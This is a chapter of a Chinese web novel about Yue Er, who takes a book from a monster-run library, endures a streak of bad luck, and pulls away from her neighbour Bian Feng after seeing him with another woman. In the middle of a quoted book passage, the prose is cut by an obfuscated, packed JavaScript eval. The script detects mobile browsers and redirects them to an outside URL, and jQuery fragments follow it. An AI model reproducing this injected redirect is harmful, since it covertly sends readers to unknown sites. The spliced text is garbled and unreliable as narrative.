50.倒霉应验

作品:《高风险打工【三界】

    鸟人不见了,极有可能是返回拿那本书。


    有妖怪坐镇的图书馆,好处就是:任何一本书不经过正式借阅流程,都不可能出图书馆,哪怕你用法力也好,带不出去的。


    摆在越洱面前有两个选择:要么闪现上5楼,抢先获取那本书,风险是鸟人很可能已经在那儿;要么就变成一张纸贴在附近,等鸟人来填借阅卡的时候偷看。


    抢还是不抢?什么书值得鸟人这么隐藏?


    竹节虫老先生拉过第二张卡片填写,越洱抬脚往拐角处卫生间方向走。


    她决定采用两个方案的结合版:闪现、同时变成一张纸,以免直接和鸟老师碰上。


    图书馆五楼,【法力的奇闻野史】专柜,越洱化为一张纸,贴着一排排书往下滑。


    各处没有鸟人老师的影子,也可能他会使其它变形术,是越洱不知道的,需得万分小心。


    一双假钻一样微小的眼睛,沿着A4白纸边缘滚动,越洱找到那本书了。


    鸟人消失竟不是闪现上来拿书么?


    化为一张普通A4纸的越洱,钻进书中,纸脚露出来,裹住书本下缘往下运送。


    随着书本抽出,左右两边书籍往中间倾倒,最终合拢相抵在一起。


    越洱闪回洗手间外的拐角,从纸变人,若无其事捏着书脊走回借阅台。


    那老先生在写最后一个书名,越洱递上手中新书:“麻烦您,还有这本。”


    竹节虫妖望她一眼,一笔一划写下:《阶梯的诅咒:论快速飞升代价》。


    *


    回来这些天,与目袋对视的倒霉预言应验了。


    先是新买的蓝牙耳机掉了一只,越洱弯腰去捡时,耳朵上那只骨碌碌滚进了下水道,溅起一滴泥水直入嘴里,恶心得她一天没吃饭,猛猛刷牙八遍;


    牵着小狗进早餐店,突然肠鸣不止,听起来很像在放连环屁。周围食客纷纷侧目,越洱急忙推给忙忙,哪知小狗优雅起身,围着她凳子后头一个劲儿嗅来嗅去——


    早餐,卒;越洱,卒;


    用了八年的菜刀,越洱刚拿起来拍个蒜,就断了;


    游泳太卖力,一蹬,脚丫子炫进身后大哥嘴里了;


    半夜起床上洗手间,迷迷糊糊看见个红色发光点,以为做梦捡宝石呢,越洱上手一捏,是蚊香;


    这种倒霉甚至传给了小狗,忙忙最喜欢的尖叫球不见了,越洱去超市买,才知道同款早已停产;


    从湖边散步回来,被蜜蜂叮肿了蛋,喜提绝育套餐;


    然而最倒霉的,还得看今天下午。


    一人一狗买菜回家,越洱拎着几袋菜,忙忙嘴叼着袋瓜,袋子里就一个小小瓜,小狗重在参与。


    越洱没洗脸,三天没洗头,身穿一件松松垮垮的灰色旧T恤,踩一双塑料水晶拖鞋。


    爬楼梯上来热,越洱一把脱掉头上的牛仔鸭舌帽,额头沁出细汗,整个人又油又水。


    就今天,就此时,一人一狗遭遇了边锋。


    家门前,边锋身边站个高挑、乌发红唇的美女,二人开门正要进去。


    越洱牵着狗、拎着菜,刚迈进楼梯转角平台,边锋先看见了她。


    要命的直觉,越洱一抬眼,对上两双打量的眼睛。


    边锋从里侧探出身来,熟稔地招呼道:“越洱,你也刚买菜回来。”


    小狗尾巴摇得很忙,“咕嘟”放了嘴里叼着的瓜袋往上冲,让越洱及时拉住了。


    “昂,”越洱捡起忙忙的瓜袋一看,小小瓜摔裂了,她尽量自然,“你们也是。”


    边锋手里刚拎了不少菜,嫌勒手,先放进门廊里头。


    俩人就这么不尴不尬,谁也没动,越洱还站在楼梯转角处,乌发红唇的高挑美女上下打量她几个来回。


    边锋才回神似的,开口介绍道:“这是我一个妹妹,古琦;琦琦,这位是我法力部同事,越洱。”


    他把该说的最小限度说完,古琦一手放在边锋家门边框上,一手拎着个小手提包,对越洱笑着点点头:“你好。”


    “你好。”越洱也礼貌点头,“你们先进去吧,小狗现在太激动,会扑人。”


    她不往上走,也是担心古琦会怕狗。


    “真可爱。”古琦不咸不淡吐出几个字,不像夸狗子,倒像随口恭维一句难缠女同事的时尚单品。


    她抚过边锋手臂,举止亲昵又自然,古琦手指细长白皙,做了很合适她风格的美甲。


    “你们聊,我先进去。”


    古琦悠悠进屋,又歪出半个身子对站在下位的越洱说:“之后我住这边,有空可以过来一起玩啊。”


    “好。”


    越洱听到里头换下高跟鞋的轻微点地声。


    边锋无言片刻,越洱一直牵住小狗不然它上去找。


    “要不别做了,来我家吃吧。”边锋和古琦一样打扮得精致立整,发型一丝不乱。


    他遥摇看向越洱膝边扑腾的小狗,笑道:“也邀请忙忙来吃,我买了鸡胸肉。”


    越洱宁愿他早点进去,他越得体,她越难受。


    “不了,下回吧。”


    下回,就是没下回的意思。


    没什么话好说,他们仿佛一路退回初识之日,不,比那天还要距离远些,也更陌生。


    “好。”边锋进去了,门自动锁上。


    忙忙得了自由,跑上去边锋家门口,哼哼唧唧嗅着门板,不甘心地小小叫了两声,无人回应。


    越洱直到洗手才发现,她额头上被勒出一块蓝色的印记,像死掉的血管和皮肤。


    那顶牛仔鸭舌帽褪色。


    鸡胸肉她也买了,先汆水,切成适口的长条,整整齐齐摆上托盘,进烤箱。


    越洱此时的感受很远,发呆愣神一样做事,脑袋是麻木的,动作全靠肌肉记忆。


    古琦,梧桐大道餐厅里那个女孩儿吗,越洱记不清长相了,都很美,大概是。


    汤在砂锅里炖着,她报复性地给自己多加两个菜,摆上桌就知道吃不完。


    厨房就在门边,对面那家格局也一样。


    最初,她能听见细碎的切菜声和谈笑声传来,好在倦鸟归巢,小区里各家都传出烟火气与对谈。


    各地的方言,主要是不眠市的方言,夹杂混合,啛啛喳喳,裹走了越洱心头一片阴霾。


    细雨纷纷,边锋撑把伞下楼扔垃圾时,看到的就是这样的雨。


    绵绵雨丝落进各色垃圾桶,堆高的【其他垃圾】那桶,顶上躺着一片破破烂烂、皱皱巴巴的塑料。


    一个小熊猫氢气球的残片,尾巴不见了,橘红被揉皱。


    8号线,他买给越洱的氢气球。


    可怜的小熊猫,笑脸在雨中染脏。


    越洱只点了台灯,在小书房强迫自己研读鸟人老师那本书。


    《阶梯的诅咒:论快速飞升代价》,她一个字也读不进去,字与字成了音与音,能在脑中复读,但不形成具体理解。


    她脑子很乱,只有拿出笔和本子一个字一个字跟着抄写。


    暖黄的灯光下,小狗趴在拖鞋边睡着了。


    “法力有边界,在个人身上更是如此——”


    为什么古琦打量过来的目光这么让人不舒服?是不是我自己预设了立场?


    “古往今来,无数修仙者、妖魔、甚至仙家,前仆后继搜寻着快速进


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917747|166200||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阶的方法,其中不少人以身犯险,亲身实验民间流传的法力增强方子——”


    边锋就打算装傻下去,装作无事发生,我也就跟着装?


    “前人用血与泪的经验教训,筛选出三条确实有效的法力飞升路径,然而,每一条路,都有其相应代价——”


    这算什么回事?屁都不放一个?真把老娘当猴儿耍呢?


    “说来好笑,其中代价最小的一条路。叫:在天上有人。”


    好好好,边锋你厉害。


    越洱“啪”地合上书,盯太久眼睛发酸。


    手机屏幕闪了闪,许久没解开勿扰模式,是段飞烨的消息:“越洱,休息得怎么样?休息好的话,后天回来上班吧。有早会,别迟到。”


    倒霉日子里收到最好的消息,越洱可以回去上班赚钱了。


    甚至明天周日,她还能再玩一天,虽说玩了挺久,但上班间隙的休息日才最珍贵。


    有钱拿,偶有空闲,不错。


    指尖往上一划拉,一条免打扰消息被压在很下方。


    上周六,“亲完就跑”发来一条消息:


    【这家很好吃,和边沁一起来吧,狠狠宰我一顿】


    温泉按摩那天发的,此后没什么。


    越洱重新打开书,也不抄写了,开开心心看起来,这辈子都没这么期待上班过。


    她和边锋,就这样了。


    *


    周一,久违了会议室。


    越洱和边沁、胥义黎邻作,台上段飞烨在讲,台边法力部两位部长坐着听工作汇报。


    仇英和那位吸血鬼模样的副部长,越洱在公告栏见过几次他名字,季岚。


    季岚作为副部长,兼管人事部门,开会时越洱看他瞥过来几眼。


    第一眼时,越洱猜测是自己身后那俩人讲小话被季岚抓包;第二三眼时,越洱就如坐针毡了,季岚不会是因为越莫管的事儿吧?后悔没让人事开了自己?


    坐立难安到散会,无事发生。


    段飞烨把她单独叫去,一口气布置了将近两周的任务量,简直把人当牛使。


    越洱讪讪应和,发现其中三分之二外勤是胥义黎、施彦河带队;剩下三分之一竟然是她自己带队,只不过就带三四个人,任务难度也还行。


    接了任务就出发,先去胥义黎她们那边。


    边锋因为那个被糟蹋的小浣熊气球,也很闹心,一大早上班冷着张脸,很罕见地拒了另一个同事的分担求助。


    “我很忙,你自己做吧。”


    那同事偷瞄一眼电脑显示屏,只见边锋来来回回删改着一个单元格。


    同事敢怒不敢言,毕竟真不是人家边锋的事儿,抓耳挠腮抱怨两句:“烦死了,做都做不完。”


    惹得边锋冷冷丢出一句:“是么,那你早干嘛去了?加油哦。”


    这同事惯会偷懒耍滑,也就能骗骗新来的、脾气好的。一旦人发火了,他是一句不敢呛声的,只把手头一打资料抖得通天响,又冲又怂地很大动静走掉。


    边锋还发现,越洱躲他。


    连续好几天,哪怕是在办公室做些文书工作,越洱也一个眼神都不屑给他。


    起先边锋还偷偷瞄一眼,后来发现哪怕他光明正大盯着看,越洱也权当他透明人。


    从前俩人天天一起出任务、吃食堂、聚餐,现如今,一到中午,越洱都是自己飞快闪走,也不等任何人,不知道上哪儿吃去了。


    边锋甚至看不到她家开门,人直接从家里踩点闪现到办公室,下班立马踩点快闪进家里。


    一夕之间,二人处得比陌生人还憋屈。


    边沁也约不到越洱,问就是忙。